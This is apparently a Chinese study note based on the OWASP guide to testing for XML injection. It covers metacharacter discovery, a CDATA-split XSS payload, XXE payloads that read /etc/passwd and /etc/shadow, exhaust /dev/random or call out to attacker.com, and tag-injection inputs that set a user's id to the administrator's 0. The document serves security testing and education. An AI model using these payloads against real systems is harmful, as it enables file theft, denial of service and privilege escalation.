概述
本章演示实际XML注入例子。首先,将定义XML样式的通信,并且解释其工作原理。然后尝试插入XML字符的发现方法。当第一步完成,测试中将拥有许多关于XML结构的信息,因此将有可能插入XML数据和标签。
测试目的
- 识别XML注入点
- 评估可以利用的攻击类型及其严重性
如何测试
让我们假设有个网站使用XML样式的通信进行用户注册。这通过在xmlDb中创建和添加新的< user>实现。
让我们假设xmlDB文件如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users>
当用户通过填写html表格注册时,该应用收到在GET请求中的用户数据(为了简单,就当成GET请求)。
例如下面的数据:
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com
将产生请求:
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com
网站将创建以下节点:
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
这个将添加到xmlDB中
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users>
发现
测试XML注入漏洞的第一步。XML的元字符为:
- 单引号:
'
- 当没有被过滤时,如果注入点是标签中的属性值,这个字符能够在xml解析时引发异常。
举例:让我们假设有以下属性
<node attrib='$inputValue'/>
如果存在
inputValue = foo'
没有被过滤,且插入到此处属性中
<node attrib='foo''/>
然后,生成的xml文件格式不正确。
- 双引号:
"
-这个字符和单引号一样,它能够被用在属性被双引号闭合的场景中。
<node attrib="$inputValue"/>
- 尖括号:
<
和>
- 通过在用户输入中添加一个尖括号如下:
Username = foo<
应用将构建一个新的节点:
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
但因为存在多余的’<’,生成的xml文件将无效。
- 注释标记:
<!--/-->
- 这一串字符会被解析为注释的开头/结尾。因此通过在username参数中注入他们中的一个:
Username = foo<!--
应用将构成以下节点:
<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
这不是有效的xml序列。
在这里插入代码片
- Ampersand:
&
- 在xml语法中,这个符号表示实体。实体的格式是&symbol
。一个实体映射到unicode字符中的字符。
举例:
<tagnode><</tagnode>
是格式正确且有效的,表示ascii字符中的<
如果&没有被编码为&
,则它是可以被用来测试xml注入。
事实上,如果输入如下:
Username = &foo
一个新节点将被生成:
<user>
<username>&foo</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
但是,此文件是无效的:&foo并没有;
终止,并且&foo;是未被定义的。
- CDATA(意为character data,表示文档的特定部分是普通的字符数据)定界符:
<![CDATA[ / ]]>
- CDATA被用于转义包含字符的文本块,否则这些文本字符将被视为标记。也就是说,在CDATA中的字符将不会被xml解析器解析。
举例,如果有在文本节点中表示<foo>的需求:
<node>
<![CDATA[<foo>]]>
</node>
<foo>不会被解析,被认为是字符数据。
如果节点以以下方式创建:
<username><![CDATA[<$userName]]></username>
测试者能够尝试注入CDATA的结尾字符串]]>
,使生成的xml文件无效。
userName = ]]>
xml文件将变成:
<username><![CDATA[]]>]]></username>
另一个测试和CDATA标签有关。假设xml文件将被处理生成一个html页面。在这种情况下,CDATA定界符将简单地消除,无需进一步查看它的内容。然而,它有可能注入html标记,这些标记被包含在生成的页面中,完全绕过存在的过滤规则。
举个具体的例子。假设我们有一个包含一些文本的节点,它将会显示给用户。
<html>
$HTMLCode
</html>
然后,攻击者可能使用以下输入:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
从而获得以下节点:
<html>
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
在xml解析器处理时,CDATA定界符会被消除,生成以下html代码:
<script>
alert('XSS')
</script>
结果此应用易受到XSS漏洞的攻击。
外部实体:可以通过定义新的实体来扩展有效实体集。如果实体的定义是URI,这个实体叫做外部实体。除非配置为其他方式,否则外部实体会强制xml解析器访问URI所指定的资源。例如,一个在本地的文件或在远程系统中的文件。这个行为使xml外部实体易受到攻击,它能够被用来执行本地系统的拒绝服务、获得未授权访问的本地文件内容,扫描远程机器、以及执行远程系统的拒绝服务。
为了测试XXE漏洞,你可以使用以下输入:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>
这个测试能使web服务器崩溃(unix系统),如果xml解析器尝试用/dev/random文件的内容代替实体的话。
其他可用的测试如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
标签注入
一旦第一步完成,测试者拥有一些关于xml文件结构的信息。然后,可以尝试注入xml数据和标签。我们会展示一个例子,关于如何使用它进行提权。
让我们回想之前的应用,桐哥插入以下值:
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
应用将创建新的节点,且将它添加到xml数据库中。
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
<userid>0</userid>
<mail>s4tan@hell.com</mail>
</user>
</users>
生成的xml文件格式是正确的。此外,与userid标签关联的值可能为0(管理员id)(对用户tony来说)。也就是说,我们为用户注入了管理权限。
唯一的问题使userid标记在最后一个用户节点中出现了两次。通常,xml文件与模式或DTD相关联,如果它们不符合要求,则将被拒绝。
让我们假设xml文件被以下DTD指定:
<!DOCTYPE users [
<!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,mail+) >
<!ELEMENT username (#PCDATA) >
<!ELEMENT password (#PCDATA) >
<!ELEMENT userid (#PCDATA) >
<!ELEMENT mail (#PCDATA) >
]>
注意,userid节点是用基数1定义的。在这种情况下,如果xml文件在被处理前根据此DTD进行验证,则我们之前展示的攻击以及其他简单的攻击将不起作用。
但是,如果测试者控制有问题的节点之前的某些节点的值(如userid),这个问题能够被解决。事实上,测试者能够注释一些节点,桐哥注入注释的开头和结尾语句:
Username: tony
Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>s4tan@hell.com
在这种情况下,我们最终的xml数据库会变成:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><!--</password>
<userid>500</userid>
<mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users>
原始的userid节点会被注释,只剩下被注入的userid。现在此文件符合DTD规则了。
源码审查
以下jaca api可能会受到xxe攻击,如果它们没用被正确配置。
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
检查源码,docType、external DTD和外部参数实体是否被设置为禁止使用。
(最后一点略了)
工具
个人小总结
个人感觉测试内容主要就是通过各种特殊字符测试是否会报错,特殊字符包括单引号'
、双引号"
、尖括号<>
、注释符号<!--/-->
、逻辑与&
、CDATA定界符<![CDATA[
和]]>
。
如果不会报错的话,就能够进行标签注入(替换原来的userid标签)、外部实体注入(xxe)、嵌入xss代码等测试。